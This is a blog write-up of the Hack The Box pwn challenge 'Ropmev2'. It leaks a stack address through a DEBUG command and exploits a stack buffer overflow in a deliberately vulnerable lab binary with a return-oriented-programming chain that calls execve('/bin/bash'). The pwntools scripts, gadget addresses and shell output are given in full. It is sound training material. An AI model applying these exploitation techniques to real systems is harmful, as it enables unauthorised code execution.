fokt

May 27, 2020 • htb,linux,binary exploitation,x64,stack buffer overflow,return oriented programmingPost a comment

Hack The Box - [Challenge|Pwn] Ropmev2

ropmev2

Sources

https://github.com/fachrioktavian/ctf-writeup/tree/master/htb/challenge/pwn/ropmev2

Summary

This is a nice pwn challenge. You will learn about ROP (Return Oriented Programming) technique in binary exploitation.

Binary’s protection

$ checksec ropmev2
[*] '/media/sf_VMShared/htb/challenges/pwn/htb_ropmev2/ropmev2'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

NX enabled means we can’t just place shellcode in the stack then execute it. NX (No Execute) will prevent a memory region to have both writable and executable access at the same time.

Overview

After decompile the binary, here is snippet of main’s pseudocode:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char **v3; // rdx
  char *buf[26]; // [rsp+0h] [rbp-D0h] -> buffer has space of 26 bytes

  sub_401213();
  printf("Please dont hack me\n", buf);
  read(0, buf, 500uLL); // read 500 bytes -> OVERFLOW
  if ( !strcmp("DEBUG\n", buf) )
  {
    printf("I dont know what this is %p\n", buf);
    main("I dont know what this is %p\n", buf, v3);
  }
  sub_401238(buf);
  return 0LL;
}
void __fastcall sub_401238(const char *a1)
{
  int i; // [rsp+1Ch] [rbp-14h]

  if ( a1 )
  {
    for ( i = 0; i < strlen(a1); ++i )
    {
      if ( a1[i] <= 0x60 || a1[i] > 0x6D )
      {
        if ( a1[i] <= 0x40 || a1[i] > 0x4D )
        {
          if ( a1[i] <= 0x6D || a1[i] > 0x7A )
          {
            if ( a1[i] > 0x4D && a1[i] <= 0x5A )
              a1[i] -= 13;
          }
          else
          {
            a1[i] -= 13;
          }
        }
        else
        {
          a1[i] += 13;
        }
      }
      else
      {
        a1[i] += 13;
      }
    }
  }
}

So if we send string DEBUG, it’ll print address of buf. From here we get information leak of stack address, bypassing ASLR (Address Space Layout Randomozation). Then we exploit stack buffer overflow to gain RCE (Remote Code Execution) using ROP. Notice something at function sub_401238()? Yes this function will ruin out buffer, it’ll add or sub the bytes if the bytes match the criteria. But it’s easy to bypass, just place null \x00 at front of buffer and this function will not work because strlen() funtion return length of a string just before null byte.

The bugs

First bug is information disclosure related to stack address. The second bug is overflow on the buffer buf.

Exploitation’s scenario

  1. Leak stack address DEBUG command.

  2. Craft shellcode to call /bin/bash using available gadgets.

Exploitation

Crash the binary

# poc.py
from pwn import *

pad = "\x00a0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A"

r = gdb.debug("./ropmev2", "b *0x40120C\n")
r.send(pad)
r.interactive()

run the script and we can debug the binary and find pattern at ret instruction. Using msf-patter_offset we can find the exact offset to gain control of RIP.

pattern

$ msf-pattern_offset -q 0x6841336841326841
[*] Exact match at offset 216

/bin/bash location.

Before we craft shellcode, we should know where the address of string /bin/bash. We can insert string /bin/bash into the stack and find the exact location of it using script below:

# poc.py
from pwn import *

pload = b"\x00XXXXXXX" + b"/bin/bash\x00"
pload = b"A"*(216-len(pload)) + pload

r = gdb.debug("./ropmev2", "b *0x40120C\n", aslr=0)
r.sendline("DEBUG")
print(r.recvline())
r.sendline(pload)
r.interactive()
python3 poc.py
[!] Debugging process with ASLR disabled
[+] Starting local process '/usr/bin/gdbserver': pid 2501
[*] running in new terminal: /usr/bin/gdb -q  "./ropmev2" -x "/tmp/pwnws5e_l3m.gdb"
b'Please dont hack me\n'
[*] Switching to interactive mode
I dont know what this is 0x7fffffffded0
Please dont hack me

bash

$ python
Python 2.7.18 (default, Apr 20 2020, 20:30:41) 
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x7fffffffded0 - 0x7fffffffdebe
18

Helpers

Gadget can be found using tools like ropper or ROPgadget

pop_rdi_ret = 0x000000000040142b # pop rdi ; ret
syscall = 0x0000000000401168 # syscall
pop_rax = 0x0000000000401162 # pop rax ; ret
pop_rsi_r15 = 0x0000000000401429 # pop rsi ; pop r15 ; ret
pop_rdx_r13 = 0x0000000000401164 # pop rdx ; pop r13 ; ret

Stage 1. Leaking stack address

stage1 = b"DEBUG"
r.recv()
r.sendline(pload)
r.recvuntil("this is ")
stack_leak = r.recvline()[:-1:]
stack_leak = int(stack_leak,16)

Stage 2. Building ROP chain to trigger RCE

pad = b"\x00XXXXXXX" + b"/bin/bash\x00"
pad = b"A"*(216-len(pad)) + pad
bin_bash = stack_leak - 0x12

stage2 = pad
stage2 += p64(pop_rdi_ret)
stage2 += p64(bin_bash)         # insert /bin/bash to rdi (argv[1])
stage2 += p64(pop_rsi_r15)
stage2 += p64(0)                # insert null to rsi (argv[2])
stage2 += p64(0)
stage2 += p64(pop_rdx_r13)
stage2 += p64(0)
stage2 += p64(0)                # insert null to rdx (argv[3])
stage2 += p64(pop_rax)
stage2 += p64(0x3b)             # insert 0x3b (syscall number for execve) to rax
stage2 += p64(syscall)          # trigger execve("/bin/bash", null, null)

r.send(stage2)

Pwned

$ python3 solve.py
[+] Starting local process './ropmev2': pid 2858
[*] Stage 1 > Leaking stack address
[+]         > Stack leak: 0x7ffde9aff1f0, Address of '/bin/bash': 0x7ffde9aff1de
[*] Stage 2 > Building ROP to execute /bin/bash
[+] Pwned!
[*] Switching to interactive mode
$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),117(bluetooth),132(scanner),142(vboxsf)